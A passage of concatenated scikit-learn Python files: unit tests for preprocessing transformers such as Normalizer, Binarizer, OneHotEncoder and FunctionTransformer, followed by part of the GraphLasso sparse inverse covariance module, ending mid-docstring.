            assert_almost_equal(la.norm(X_norm[3]), 0.0)

    # check input for which copy=False won't prevent a copy
    for init in (sparse.coo_matrix, sparse.csc_matrix, sparse.lil_matrix):
        X = init(X_dense)
        X_norm = normalizer = Normalizer(norm='l2', copy=False).transform(X)

        assert_true(X_norm is not X)
        assert_true(isinstance(X_norm, sparse.csr_matrix))

        X_norm = toarray(X_norm)
        for i in range(3):
            assert_almost_equal(la.norm(X_norm[i]), 1.0)
        assert_almost_equal(la.norm(X_norm[3]), 0.0)


def test_normalizer_max():
    rng = np.random.RandomState(0)
    X_dense = rng.randn(4, 5)
    X_sparse_unpruned = sparse.csr_matrix(X_dense)

    # set the row number 3 to zero
    X_dense[3, :] = 0.0

    # set the row number 3 to zero without pruning (can happen in real life)
    indptr_3 = X_sparse_unpruned.indptr[3]
    indptr_4 = X_sparse_unpruned.indptr[4]
    X_sparse_unpruned.data[indptr_3:indptr_4] = 0.0

    # build the pruned variant using the regular constructor
    X_sparse_pruned = sparse.csr_matrix(X_dense)

    # check inputs that support the no-copy optim
    for X in (X_dense, X_sparse_pruned, X_sparse_unpruned):

        normalizer = Normalizer(norm='max', copy=True)
        X_norm1 = normalizer.transform(X)
        assert_true(X_norm1 is not X)
        X_norm1 = toarray(X_norm1)

        normalizer = Normalizer(norm='max', copy=False)
        X_norm2 = normalizer.transform(X)
        assert_true(X_norm2 is X)
        X_norm2 = toarray(X_norm2)

        for X_norm in (X_norm1, X_norm2):
            row_maxs = X_norm.max(axis=1)
            for i in range(3):
                assert_almost_equal(row_maxs[i], 1.0)
            assert_almost_equal(row_maxs[3], 0.0)

    # check input for which copy=False won't prevent a copy
    for init in (sparse.coo_matrix, sparse.csc_matrix, sparse.lil_matrix):
        X = init(X_dense)
        X_norm = normalizer = Normalizer(norm='l2', copy=False).transform(X)

        assert_true(X_norm is not X)
        assert_true(isinstance(X_norm, sparse.csr_matrix))

        X_norm = toarray(X_norm)
        for i in range(3):
            assert_almost_equal(row_maxs[i], 1.0)
        assert_almost_equal(la.norm(X_norm[3]), 0.0)


def test_normalize():
    # Test normalize function
    # Only tests functionality not used by the tests for Normalizer.
    X = np.random.RandomState(37).randn(3, 2)
    assert_array_equal(normalize(X, copy=False),
                       normalize(X.T, axis=0, copy=False).T)
    assert_raises(ValueError, normalize, [[0]], axis=2)
    assert_raises(ValueError, normalize, [[0]], norm='l3')

    rs = np.random.RandomState(0)
    X_dense = rs.randn(10, 5)
    X_sparse = sparse.csr_matrix(X_dense)
    ones = np.ones((10))
    for X in (X_dense, X_sparse):
        for dtype in (np.float32, np.float64):
            for norm in ('l1', 'l2'):
                X = X.astype(dtype)
                X_norm = normalize(X, norm=norm)
                assert_equal(X_norm.dtype, dtype)

                X_norm = toarray(X_norm)
                if norm == 'l1':
                    row_sums = np.abs(X_norm).sum(axis=1)
                else:
                    X_norm_squared = X_norm**2
                    row_sums = X_norm_squared.sum(axis=1)

                assert_array_almost_equal(row_sums, ones)


def test_binarizer():
    X_ = np.array([[1, 0, 5], [2, 3, -1]])

    for init in (np.array, list, sparse.csr_matrix, sparse.csc_matrix):

        X = init(X_.copy())

        binarizer = Binarizer(threshold=2.0, copy=True)
        X_bin = toarray(binarizer.transform(X))
        assert_equal(np.sum(X_bin == 0), 4)
        assert_equal(np.sum(X_bin == 1), 2)
        X_bin = binarizer.transform(X)
        assert_equal(sparse.issparse(X), sparse.issparse(X_bin))

        binarizer = Binarizer(copy=True).fit(X)
        X_bin = toarray(binarizer.transform(X))
        assert_true(X_bin is not X)
        assert_equal(np.sum(X_bin == 0), 2)
        assert_equal(np.sum(X_bin == 1), 4)

        binarizer = Binarizer(copy=True)
        X_bin = binarizer.transform(X)
        assert_true(X_bin is not X)
        X_bin = toarray(X_bin)
        assert_equal(np.sum(X_bin == 0), 2)
        assert_equal(np.sum(X_bin == 1), 4)

        binarizer = Binarizer(copy=False)
        X_bin = binarizer.transform(X)
        if init is not list:
            assert_true(X_bin is X)

        binarizer = Binarizer(copy=False)
        X_float = np.array([[1, 0, 5], [2, 3, -1]], dtype=np.float64)
        X_bin = binarizer.transform(X_float)
        if init is not list:
            assert_true(X_bin is X_float)

        X_bin = toarray(X_bin)
        assert_equal(np.sum(X_bin == 0), 2)
        assert_equal(np.sum(X_bin == 1), 4)

    binarizer = Binarizer(threshold=-0.5, copy=True)
    for init in (np.array, list):
        X = init(X_.copy())

        X_bin = toarray(binarizer.transform(X))
        assert_equal(np.sum(X_bin == 0), 1)
        assert_equal(np.sum(X_bin == 1), 5)
        X_bin = binarizer.transform(X)

    # Cannot use threshold < 0 for sparse
    assert_raises(ValueError, binarizer.transform, sparse.csc_matrix(X))


def test_center_kernel():
    # Test that KernelCenterer is equivalent to StandardScaler
    # in feature space
    rng = np.random.RandomState(0)
    X_fit = rng.random_sample((5, 4))
    scaler = StandardScaler(with_std=False)
    scaler.fit(X_fit)
    X_fit_centered = scaler.transform(X_fit)
    K_fit = np.dot(X_fit, X_fit.T)

    # center fit time matrix
    centerer = KernelCenterer()
    K_fit_centered = np.dot(X_fit_centered, X_fit_centered.T)
    K_fit_centered2 = centerer.fit_transform(K_fit)
    assert_array_almost_equal(K_fit_centered, K_fit_centered2)

    # center predict time matrix
    X_pred = rng.random_sample((2, 4))
    K_pred = np.dot(X_pred, X_fit.T)
    X_pred_centered = scaler.transform(X_pred)
    K_pred_centered = np.dot(X_pred_centered, X_fit_centered.T)
    K_pred_centered2 = centerer.transform(K_pred)
    assert_array_almost_equal(K_pred_centered, K_pred_centered2)


def test_cv_pipeline_precomputed():
    """Cross-validate a regression on four coplanar points with the same
    value. Use precomputed kernel to ensure Pipeline with KernelCenterer
    is treated as a _pairwise operation."""
    X = np.array([[3, 0, 0], [0, 3, 0], [0, 0, 3], [1, 1, 1]])
    y_true = np.ones((4,))
    K = X.dot(X.T)
    kcent = KernelCenterer()
    pipeline = Pipeline([("kernel_centerer", kcent), ("svr", SVR())])

    # did the pipeline set the _pairwise attribute?
    assert_true(pipeline._pairwise)

    # test cross-validation, score should be almost perfect
    # NB: this test is pretty vacuous -- it's mainly to test integration
    #     of Pipeline and KernelCenterer
    y_pred = cross_val_predict(pipeline, K, y_true, cv=2)
    assert_array_almost_equal(y_true, y_pred)


def test_fit_transform():
    rng = np.random.RandomState(0)
    X = rng.random_sample((5, 4))
    for obj in ((StandardScaler(), Normalizer(), Binarizer())):
        X_transformed = obj.fit(X).transform(X)
        X_transformed2 = obj.fit_transform(X)
        assert_array_equal(X_transformed, X_transformed2)


def test_deprecation_standard_scaler():
    rng = np.random.RandomState(0)
    X = rng.random_sample((5, 4))
    scaler = StandardScaler().fit(X)
    depr_message = ("Function std_ is deprecated; Attribute ``std_`` will be "
                    "removed in 0.19. Use ``scale_`` instead")
    std_ = assert_warns_message(DeprecationWarning, depr_message, getattr,
                                scaler, "std_")
    assert_array_equal(std_, scaler.scale_)


def test_add_dummy_feature():
    X = [[1, 0], [0, 1], [0, 1]]
    X = add_dummy_feature(X)
    assert_array_equal(X, [[1, 1, 0], [1, 0, 1], [1, 0, 1]])


def test_add_dummy_feature_coo():
    X = sparse.coo_matrix([[1, 0], [0, 1], [0, 1]])
    X = add_dummy_feature(X)
    assert_true(sparse.isspmatrix_coo(X), X)
    assert_array_equal(X.toarray(), [[1, 1, 0], [1, 0, 1], [1, 0, 1]])


def test_add_dummy_feature_csc():
    X = sparse.csc_matrix([[1, 0], [0, 1], [0, 1]])
    X = add_dummy_feature(X)
    assert_true(sparse.isspmatrix_csc(X), X)
    assert_array_equal(X.toarray(), [[1, 1, 0], [1, 0, 1], [1, 0, 1]])


def test_add_dummy_feature_csr():
    X = sparse.csr_matrix([[1, 0], [0, 1], [0, 1]])
    X = add_dummy_feature(X)
    assert_true(sparse.isspmatrix_csr(X), X)
    assert_array_equal(X.toarray(), [[1, 1, 0], [1, 0, 1], [1, 0, 1]])


def test_one_hot_encoder_sparse():
    # Test OneHotEncoder's fit and transform.
    X = [[3, 2, 1], [0, 1, 1]]
    enc = OneHotEncoder()
    # discover max values automatically
    X_trans = enc.fit_transform(X).toarray()
    assert_equal(X_trans.shape, (2, 5))
    assert_array_equal(enc.active_features_,
                       np.where([1, 0, 0, 1, 0, 1, 1, 0, 1])[0])
    assert_array_equal(enc.feature_indices_, [0, 4, 7, 9])

    # check outcome
    assert_array_equal(X_trans,
                       [[0., 1., 0., 1., 1.],
                        [1., 0., 1., 0., 1.]])

    # max value given as 3
    enc = OneHotEncoder(n_values=4)
    X_trans = enc.fit_transform(X)
    assert_equal(X_trans.shape, (2, 4 * 3))
    assert_array_equal(enc.feature_indices_, [0, 4, 8, 12])

    # max value given per feature
    enc = OneHotEncoder(n_values=[3, 2, 2])
    X = [[1, 0, 1], [0, 1, 1]]
    X_trans = enc.fit_transform(X)
    assert_equal(X_trans.shape, (2, 3 + 2 + 2))
    assert_array_equal(enc.n_values_, [3, 2, 2])
    # check that testing with larger feature works:
    X = np.array([[2, 0, 1], [0, 1, 1]])
    enc.transform(X)

    # test that an error is raised when out of bounds:
    X_too_large = [[0, 2, 1], [0, 1, 1]]
    assert_raises(ValueError, enc.transform, X_too_large)
    error_msg = "unknown categorical feature present \[2\] during transform."
    assert_raises_regex(ValueError, error_msg, enc.transform, X_too_large)
    assert_raises(ValueError, OneHotEncoder(n_values=2).fit_transform, X)

    # test that error is raised when wrong number of features
    assert_raises(ValueError, enc.transform, X[:, :-1])
    # test that error is raised when wrong number of features in fit
    # with prespecified n_values
    assert_raises(ValueError, enc.fit, X[:, :-1])
    # test exception on wrong init param
    assert_raises(TypeError, OneHotEncoder(n_values=np.int).fit, X)

    enc = OneHotEncoder()
    # test negative input to fit
    assert_raises(ValueError, enc.fit, [[0], [-1]])

    # test negative input to transform
    enc.fit([[0], [1]])
    assert_raises(ValueError, enc.transform, [[0], [-1]])


def test_one_hot_encoder_dense():
    # check for sparse=False
    X = [[3, 2, 1], [0, 1, 1]]
    enc = OneHotEncoder(sparse=False)
    # discover max values automatically
    X_trans = enc.fit_transform(X)
    assert_equal(X_trans.shape, (2, 5))
    assert_array_equal(enc.active_features_,
                       np.where([1, 0, 0, 1, 0, 1, 1, 0, 1])[0])
    assert_array_equal(enc.feature_indices_, [0, 4, 7, 9])

    # check outcome
    assert_array_equal(X_trans,
                       np.array([[0., 1., 0., 1., 1.],
                                 [1., 0., 1., 0., 1.]]))


def _check_transform_selected(X, X_expected, sel):
    for M in (X, sparse.csr_matrix(X)):
        Xtr = _transform_selected(M, Binarizer().transform, sel)
        assert_array_equal(toarray(Xtr), X_expected)


def test_transform_selected():
    X = [[3, 2, 1], [0, 1, 1]]

    X_expected = [[1, 2, 1], [0, 1, 1]]
    _check_transform_selected(X, X_expected, [0])
    _check_transform_selected(X, X_expected, [True, False, False])

    X_expected = [[1, 1, 1], [0, 1, 1]]
    _check_transform_selected(X, X_expected, [0, 1, 2])
    _check_transform_selected(X, X_expected, [True, True, True])
    _check_transform_selected(X, X_expected, "all")

    _check_transform_selected(X, X, [])
    _check_transform_selected(X, X, [False, False, False])


def test_transform_selected_copy_arg():
    # transformer that alters X
    def _mutating_transformer(X):
        X[0, 0] = X[0, 0] + 1
        return X

    original_X = np.asarray([[1, 2], [3, 4]])
    expected_Xtr = [[2, 2], [3, 4]]

    X = original_X.copy()
    Xtr = _transform_selected(X, _mutating_transformer, copy=True,
                              selected='all')

    assert_array_equal(toarray(X), toarray(original_X))
    assert_array_equal(toarray(Xtr), expected_Xtr)


def _run_one_hot(X, X2, cat):
    enc = OneHotEncoder(categorical_features=cat)
    Xtr = enc.fit_transform(X)
    X2tr = enc.transform(X2)
    return Xtr, X2tr


def _check_one_hot(X, X2, cat, n_features):
    ind = np.where(cat)[0]
    # With mask
    A, B = _run_one_hot(X, X2, cat)
    # With indices
    C, D = _run_one_hot(X, X2, ind)
    # Check shape
    assert_equal(A.shape, (2, n_features))
    assert_equal(B.shape, (1, n_features))
    assert_equal(C.shape, (2, n_features))
    assert_equal(D.shape, (1, n_features))
    # Check that mask and indices give the same results
    assert_array_equal(toarray(A), toarray(C))
    assert_array_equal(toarray(B), toarray(D))


def test_one_hot_encoder_categorical_features():
    X = np.array([[3, 2, 1], [0, 1, 1]])
    X2 = np.array([[1, 1, 1]])

    cat = [True, False, False]
    _check_one_hot(X, X2, cat, 4)

    # Edge case: all non-categorical
    cat = [False, False, False]
    _check_one_hot(X, X2, cat, 3)

    # Edge case: all categorical
    cat = [True, True, True]
    _check_one_hot(X, X2, cat, 5)


def test_one_hot_encoder_unknown_transform():
    X = np.array([[0, 2, 1], [1, 0, 3], [1, 0, 2]])
    y = np.array([[4, 1, 1]])

    # Test that one hot encoder raises error for unknown features
    # present during transform.
    oh = OneHotEncoder(handle_unknown='error')
    oh.fit(X)
    assert_raises(ValueError, oh.transform, y)

    # Test the ignore option, ignores unknown features.
    oh = OneHotEncoder(handle_unknown='ignore')
    oh.fit(X)
    assert_array_equal(
        oh.transform(y).toarray(),
        np.array([[0.,  0.,  0.,  0.,  1.,  0.,  0.]]))

    # Raise error if handle_unknown is neither ignore or error.
    oh = OneHotEncoder(handle_unknown='42')
    oh.fit(X)
    assert_raises(ValueError, oh.transform, y)


def test_fit_cold_start():
    X = iris.data
    X_2d = X[:, :2]

    # Scalers that have a partial_fit method
    scalers = [StandardScaler(with_mean=False, with_std=False),
               MinMaxScaler(),
               MaxAbsScaler()]

    for scaler in scalers:
        scaler.fit_transform(X)
        # with a different shape, this may break the scaler unless the internal
        # state is reset
        scaler.fit_transform(X_2d)






from nose.tools import assert_equal
import numpy as np

from sklearn.utils import testing
from sklearn.preprocessing import FunctionTransformer


def _make_func(args_store, kwargs_store, func=lambda X, *a, **k: X):
    def _func(X, *args, **kwargs):
        args_store.append(X)
        args_store.extend(args)
        kwargs_store.update(kwargs)
        return func(X)

    return _func


def test_delegate_to_func():
    # (args|kwargs)_store will hold the positional and keyword arguments
    # passed to the function inside the FunctionTransformer.
    args_store = []
    kwargs_store = {}
    X = np.arange(10).reshape((5, 2))
    testing.assert_array_equal(
        FunctionTransformer(_make_func(args_store, kwargs_store)).transform(X),
        X,
        'transform should have returned X unchanged',
    )

    # The function should only have received X.
    assert_equal(
        args_store,
        [X],
        'Incorrect positional arguments passed to func: {args}'.format(
            args=args_store,
        ),
    )
    assert_equal(
        kwargs_store,
        {},
        'Unexpected keyword arguments passed to func: {args}'.format(
            args=kwargs_store,
        ),
    )

    # reset the argument stores.
    args_store[:] = []  # python2 compatible inplace list clear.
    kwargs_store.clear()
    y = object()

    testing.assert_array_equal(
        FunctionTransformer(
            _make_func(args_store, kwargs_store),
            pass_y=True,
        ).transform(X, y),
        X,
        'transform should have returned X unchanged',
    )

    # The function should have received X and y.
    assert_equal(
        args_store,
        [X, y],
        'Incorrect positional arguments passed to func: {args}'.format(
            args=args_store,
        ),
    )
    assert_equal(
        kwargs_store,
        {},
        'Unexpected keyword arguments passed to func: {args}'.format(
            args=kwargs_store,
        ),
    )


def test_np_log():
    X = np.arange(10).reshape((5, 2))

    # Test that the numpy.log example still works.
    testing.assert_array_equal(
        FunctionTransformer(np.log1p).transform(X),
        np.log1p(X),
    )


def test_kw_arg():
    X = np.linspace(0, 1, num=10).reshape((5, 2))

    F = FunctionTransformer(np.around, kw_args=dict(decimals=3))

    # Test that rounding is correct
    testing.assert_array_equal(F.transform(X),
                                  np.around(X, decimals=3))


def test_kw_arg_update():
    X = np.linspace(0, 1, num=10).reshape((5, 2))

    F = FunctionTransformer(np.around, kw_args=dict(decimals=3))

    F.kw_args['decimals'] = 1

    # Test that rounding is correct
    testing.assert_array_equal(F.transform(X),
                                  np.around(X, decimals=1))


def test_kw_arg_reset():
    X = np.linspace(0, 1, num=10).reshape((5, 2))

    F = FunctionTransformer(np.around, kw_args=dict(decimals=3))

    F.kw_args = dict(decimals=1)

    # Test that rounding is correct
    testing.assert_array_equal(F.transform(X),
                               np.around(X, decimals=1))


def test_inverse_transform():
    X = np.array([1, 4, 9, 16]).reshape((2, 2))

    # Test that inverse_transform works correctly
    F = FunctionTransformer(
            func=np.sqrt,
            inverse_func=np.around, inv_kw_args=dict(decimals=3))
    testing.assert_array_equal(
            F.inverse_transform(F.transform(X)),
            np.around(np.sqrt(X), decimals=3))






"""GraphLasso: sparse inverse covariance estimation with an l1-penalized
estimator.
"""

# Author: Gael Varoquaux <gael.varoquaux@normalesup.org>
# License: BSD 3 clause
# Copyright: INRIA
import warnings
import operator
import sys
import time

import numpy as np
from scipy import linalg

from .empirical_covariance_ import (empirical_covariance, EmpiricalCovariance,
                                    log_likelihood)

from ..exceptions import ConvergenceWarning
from ..utils.extmath import pinvh
from ..utils.validation import check_random_state, check_array
from ..linear_model import lars_path
from ..linear_model import cd_fast
from ..model_selection import check_cv, cross_val_score
from ..externals.joblib import Parallel, delayed
import collections


# Helper functions to compute the objective and dual objective functions
# of the l1-penalized estimator
def _objective(mle, precision_, alpha):
    """Evaluation of the graph-lasso objective function

    the objective function is made of a shifted scaled version of the
    normalized log-likelihood (i.e. its empirical mean over the samples) and a
    penalisation term to promote sparsity
    """
    p = precision_.shape[0]
    cost = - 2. * log_likelihood(mle, precision_) + p * np.log(2 * np.pi)
    cost += alpha * (np.abs(precision_).sum()
                     - np.abs(np.diag(precision_)).sum())
    return cost


def _dual_gap(emp_cov, precision_, alpha):
    """Expression of the dual gap convergence criterion

    The specific definition is given in Duchi "Projected Subgradient Methods
    for Learning Sparse Gaussians".
    """
    gap = np.sum(emp_cov * precision_)
    gap -= precision_.shape[0]
    gap += alpha * (np.abs(precision_).sum()
                    - np.abs(np.diag(precision_)).sum())
    return gap


def alpha_max(emp_cov):
    """Find the maximum alpha for which there are some non-zeros off-diagonal.

    Parameters
    ----------
    emp_cov : 2D array, (n_features, n_features)
        The sample covariance matrix

    Notes
    -----

    This results from the bound for the all the Lasso that are solved
    in GraphLasso: each time, the row of cov corresponds to Xy. As the
    bound for alpha is given by `max(abs(Xy))`, the result follows.

    """
    A = np.copy(emp_cov)
    A.flat[::A.shape[0] + 1] = 0
    return np.max(np.abs(A))


# The g-lasso algorithm

def graph_lasso(emp_cov, alpha, cov_init=None, mode='cd', tol=1e-4,
                enet_tol=1e-4, max_iter=100, verbose=False,
                return_costs=False, eps=np.finfo(np.float64).eps,
                return_n_iter=False):
    """l1-penalized covariance estimator

    Read more in the :ref:`User Guide <sparse_inverse_covariance>`.

    Parameters
    ----------
    emp_cov : 2D ndarray, shape (n_features, n_features)
        Empirical covariance from which to compute the covariance estimate.

    alpha : positive float
        The regularization parameter: the higher alpha, the more
        regularization, the sparser the inverse covariance.

    cov_init : 2D array (n_features, n_features), optional
        The initial guess for the covariance.

    mode : {'cd', 'lars'}
        The Lasso solver to use: coordinate descent or LARS. Use LARS for
        very sparse underlying graphs, where p > n. Elsewhere prefer cd
        which is more numerically stable.

    tol : positive float, optional
        The tolerance to declare convergence: if the dual gap goes below
        this value, iterations are stopped.

    enet_tol : positive float, optional
        The tolerance for the elastic net solver used to calculate the descent
        direction. This parameter controls the accuracy of the search direction
        for a given column update, not of the overall parameter estimate. Only
        used for mode='cd'.

    max_iter : integer, optional
        The maximum number of iterations.

    verbose : boolean, optional
        If verbose is True, the objective function and dual gap are
        printed at each iteration.

    return_costs : boolean, optional
        If return_costs is True, the objective function and dual gap
        at each iteration are returned.

    eps : float, optional
        The machine-precision regularization in the computation of the
        Cholesky diagonal factors. Increase this for very ill-conditioned
        systems.

    return_n_iter : bool, optional
        Whether or not to return the number of iterations.

    Returns
    -------
    covariance : 2D ndarray, shape (n_features, n_features)
        The estimated covariance matrix.

    precision : 2D ndarray, shape (n_features, n_features)
        The estimated (sparse) precision matrix.

    costs : list of (objective, dual_gap) pairs
        The list of values of the objective function and the dual gap at
        each iteration. Returned only if return_costs is True.

    n_iter : int
        Number of iterations. Returned only if `return_n_iter` is set to True.

    See Also
    --------
    GraphLasso, GraphLassoCV

    Notes
    -----
    The algorithm employed to solve this problem is the GLasso algorithm,
    from the Friedman 2008 Biostatistics paper. It is the same algorithm
    as in the R `glasso` package.

    One possible difference with the `glasso` R package is that the
    diagonal coefficients are not penalized.

    """
    _, n_features = emp_cov.shape
    if alpha == 0:
        if return_costs:
            precision_ = linalg.inv(emp_cov)
            cost = - 2. * log_likelihood(emp_cov, precision_)
            cost += n_features * np.log(2 * np.pi)
            d_gap = np.sum(emp_cov * precision_) - n_features
            if return_n_iter:
                return emp_cov, precision_, (cost, d_gap), 0
            else:
                return emp_cov, precision_, (cost, d_gap)
        else:
            if return_n_iter:
                return emp_cov, linalg.inv(emp_cov), 0
            else:
                return emp_cov, linalg.inv(emp_cov)
    if cov_init is None:
        covariance_ = emp_cov.copy()
    else:
        covariance_ = cov_init.copy()
    # As a trivial regularization (Tikhonov like), we scale down the
    # off-diagonal coefficients of our starting point: This is needed, as
    # in the cross-validation the cov_init can easily be
    # ill-conditioned, and the CV loop blows. Beside, this takes
    # conservative stand-point on the initial conditions, and it tends to
    # make the convergence go faster.
    covariance_ *= 0.95
    diagonal = emp_cov.flat[::n_features + 1]
    covariance_.flat[::n_features + 1] = diagonal
    precision_ = pinvh(covariance_)

    indices = np.arange(n_features)
    costs = list()
    # The different l1 regression solver have different numerical errors
    if mode == 'cd':
        errors = dict(over='raise', invalid='ignore')
    else:
        errors = dict(invalid='raise')
    try:
        # be robust to the max_iter=0 edge case, see:
        # https://github.com/scikit-learn/scikit-learn/issues/4134
        d_gap = np.inf
        for i in range(max_iter):
            for idx in range(n_features):
                sub_covariance = np.ascontiguousarray(
                    covariance_[indices != idx].T[indices != idx])
                row = emp_cov[idx, indices != idx]
                with np.errstate(**errors):
                    if mode == 'cd':
                        # Use coordinate descent
                        coefs = -(precision_[indices != idx, idx]
                                  / (precision_[idx, idx] + 1000 * eps))
                        coefs, _, _, _ = cd_fast.enet_coordinate_descent_gram(
                            coefs, alpha, 0, sub_covariance, row, row,
                            max_iter, enet_tol, check_random_state(None), False)
                    else:
                        # Use LARS
                        _, _, coefs = lars_path(
                            sub_covariance, row, Xy=row, Gram=sub_covariance,
                            alpha_min=alpha / (n_features - 1), copy_Gram=True,
                            method='lars', return_path=False)
                # Update the precision matrix
                precision_[idx, idx] = (
                    1. / (covariance_[idx, idx]
                          - np.dot(covariance_[indices != idx, idx], coefs)))
                precision_[indices != idx, idx] = (- precision_[idx, idx]
                                                   * coefs)
                precision_[idx, indices != idx] = (- precision_[idx, idx]
                                                   * coefs)
                coefs = np.dot(sub_covariance, coefs)
                covariance_[idx, indices != idx] = coefs
                covariance_[indices != idx, idx] = coefs
            d_gap = _dual_gap(emp_cov, precision_, alpha)
            cost = _objective(emp_cov, precision_, alpha)
            if verbose:
                print(
                    '[graph_lasso] Iteration % 3i, cost % 3.2e, dual gap %.3e'
                    % (i, cost, d_gap))
            if return_costs:
                costs.append((cost, d_gap))
            if np.abs(d_gap) < tol:
                break
            if not np.isfinite(cost) and i > 0:
                raise FloatingPointError('Non SPD result: the system is '
                                         'too ill-conditioned for this solver')
        else:
            warnings.warn('graph_lasso: did not converge after %i iteration:'
                          ' dual gap: %.3e' % (max_iter, d_gap),
                          ConvergenceWarning)
    except FloatingPointError as e:
        e.args = (e.args[0]
                  + '. The system is too ill-conditioned for this solver',)
        raise e

    if return_costs:
        if return_n_iter:
            return covariance_, precision_, costs, i + 1
        else:
            return covariance_, precision_, costs
    else:
        if return_n_iter:
            return covariance_, precision_, i + 1
        else:
            return covariance_, precision_


class GraphLasso(EmpiricalCovariance):
    """Sparse inverse covariance estimation with an l1-penalized estimator.

    Read more in the :ref:`User Guide <sparse_inverse_covariance>`.

    Parameters
    ----------
    alpha : positive float, default 0.01
        The regularization parameter: the higher alpha, the more
        regularization, the sparser the inverse covariance.

    mode : {'cd', 'lars'}, default 'cd'
        The Lasso solver to use: coordinate descent or LARS. Use LARS for
        very sparse underlying graphs, where p > n. Elsewhere prefer cd
        which is more numerically stable.

    tol : positive float, default 1e-4
        The tolerance to declare convergence: if the dual gap goes below
        this value, iterations are stopped.

    enet_tol : positive float, optional
        The tolerance for the elastic net solver used to calculate the descent
        direction. This parameter controls the accuracy of the search direction
        for a given column update, not of the overall parameter estimate. Only
        used for mode='cd'.

    max_iter : integer, default 100
        The maximum number of iterations.

    verbose : boolean, default False
        If verbose is True, the objective function and dual gap are
        plotted at each iteration.

    assume_centered : boolean, default False
        If True, data are not centered before computation.
        Useful when working with data whose mean is almost, but not exactly
        zero.
        If False, data are centered before computation.

    Attributes
    ----------
    covariance_ : array-like, shape (n_features, n_features)
        Estimated covariance matrix

    precision_ : array-like, shape (n_features, n_features)
        Estimated pseudo inverse matrix.

    n_iter_ : int
        Number of iterations run.

    See Also
    --------
    graph_lasso, GraphLassoCV
    """

    def __init__(self, alpha=.01, mode='cd', tol=1e-4, enet_tol=1e-4,
                 max_iter=100, verbose=False, assume_centered=False):
        self.alpha = alpha
        self.mode = mode
        self.tol = tol
        self.enet_tol = enet_tol
        self.max_iter = max_iter
        self.verbose = verbose
        self.assume_centered = assume_centered
        # The base class needs this for the score method
        self.store_precision = True

    def fit(self, X, y=None):

        # Covariance does not make sense for a single feature
        X = check_array(X, ensure_min_features=2, ensure_min_samples=2,
                        estimator=self)

        if self.assume_centered:
            self.location_ = np.zeros(X.shape[1])
        else:
            self.location_ = X.mean(0)
        emp_cov = empirical_covariance(
            X, assume_centered=self.assume_centered)
        self.covariance_, self.precision_, self.n_iter_ = graph_lasso(
            emp_cov, alpha=self.alpha, mode=self.mode, tol=self.tol,
            enet_tol=self.enet_tol, max_iter=self.max_iter,
            verbose=self.verbose, return_n_iter=True)
        return self


# Cross-validation with GraphLasso
def graph_lasso_path(X, alphas, cov_init=None, X_test=None, mode='cd',
                     tol=1e-4, enet_tol=1e-4, max_iter=100, verbose=False):
    """l1-penalized covariance estimator along a path of decreasing alphas

    Read more in the :ref:`User Guide <sparse_inverse_covariance>`.

    Parameters
    ----------
    X : 2D ndarray, shape (n_samples, n_features)
        Data from which to compute the covariance estimate.

    alphas : list of positive floats
        The list of regularization parameters, decreasing order.

    X_test : 2D array, shape (n_test_samples, n_features), optional
        Optional test matrix to measure generalisation error.

    mode : {'cd', 'lars'}
        The Lasso solver to use: coordinate descent or LARS. Use LARS for
        very sparse underlying graphs, where p > n. Elsewhere prefer cd
        which is more numerically stable.

    tol : positive float, optional
        The tolerance to declare convergence: if the dual gap goes below
        this value, iterations are stopped.

    enet_tol : positive float, optional
        The tolerance for the elastic net solver used to calculate the descent
        direction. This parameter controls the accuracy of the search direction
        for a given column update, not of the overall parameter estimate. Only
        used for mode='cd'.

    max_iter : integer, optional
        The maximum number of iterations.

    verbose : integer, optional
        The higher the verbosity flag, the more information is printed
        during the fitting.

    Returns
    -------
    covariances_ : List of 2D ndarray, shape (n_features, n_features)
        The estimated covariance matrices.

    precisions_ : List of 2D ndarray, shape (n_features, n_features)
        The estimated (sparse) precision matrices.

    scores_ : List of float
        The generalisation error (log-likelihood) on the test data.
        Returned only if test data is passed.
    """
    inner_verbose = max(0, verbose - 1)
    emp_cov = empirical_covariance(X)
    if cov_init is None:
        covariance_ = emp_cov.copy()
    else:
        covariance_ = cov_init
    covariances_ = list()
    precisions_ = list()
    scores_ = list()
    if X_test is not None:
        test_emp_cov = empirical_covariance(X_test)

    for alpha in alphas:
        try:
            # Capture the errors, and move on
            covariance_, precision_ = graph_lasso(
                emp_cov, alpha=alpha, cov_init=covariance_, mode=mode, tol=tol,
                enet_tol=enet_tol, max_iter=max_iter, verbose=inner_verbose)
            covariances_.append(covariance_)
            precisions_.append(precision_)
            if X_test is not None:
                this_score = log_likelihood(test_emp_cov, precision_)
        except FloatingPointError:
            this_score = -np.inf
            covariances_.append(np.nan)
            precisions_.append(np.nan)
        if X_test is not None:
            if not np.isfinite(this_score):
                this_score = -np.inf
            scores_.append(this_score)
        if verbose == 1:
            sys.stderr.write('.')
        elif verbose > 1:
            if X_test is not None:
                print('[graph_lasso_path] alpha: %.2e, score: %.2e'
                      % (alpha, this_score))
            else:
                print('[graph_lasso_path] alpha: %.2e' % alpha)
    if X_test is not None:
        return covariances_, precisions_, scores_
    return covariances_, precisions_


class GraphLassoCV(GraphLasso):
    """Sparse inverse covariance w/ cross-validated choice of the l1 penalty

    Read more in the :ref:`User Guide <sparse_inverse_covariance>`.

    Parameters
    ----------
    alphas : integer, or list positive float, optional
        If an integer is given, it fixes the number of points on the
        grids of alpha to be used. If a list is given, it gives the
        grid to be used. See the notes in the class docstring for
        more details.

    n_refinements: strictly positive integer
        The number of times the grid is refined. Not used if explicit
        values of alphas are passed.

    cv : int, cross-validation generator or an iterable, optional
        Determines the cross-validation splitting strategy.
        Possible inputs for cv are:

        - None, to use the default 3-fold cross-validation,
        - integer, to specify the number of folds.
        - An object to be used as a cross-validation generator.
        - An iterable yielding train/test splits.

        For integer/None inputs :class:`KFold` is used.

        Refer :ref:`User Guide <cross_validation>` for the various
        cross-validation strategies that can be used here.

    tol: positive float, optional
        The tolerance to declare convergence: if the dual gap goes below
        this value, iterations are stopped.

    enet_tol : positive float, optional
        The tolerance for the elastic net solver used to calculate the descent
        direction. This parameter controls the accuracy of the search direction
        for a given column update, not of the overall parameter estimate. Only
        used for mode='cd'.

    max_iter: integer, optional
        Maximum number of iterations.

    mode: {'cd', 'lars'}
        The Lasso solver to use: coordinate descent or LARS. Use LARS for
        very sparse underlying graphs, where number of features is greater
        than number of samples. Elsewhere prefer cd which is more numerically
        stable.

    n_jobs: int, optional
        number of jobs to run in parallel (default 1).

    verbose: boolean, optional
        If verbose is True, the objective function and duality gap are
        printed at each iteration.

    assume_centered : Boolean
        If True, data are not centered before computation.
        Useful when working with data whose mean is almost, but not exactly
        zero.
        If False, data are centered before computation.

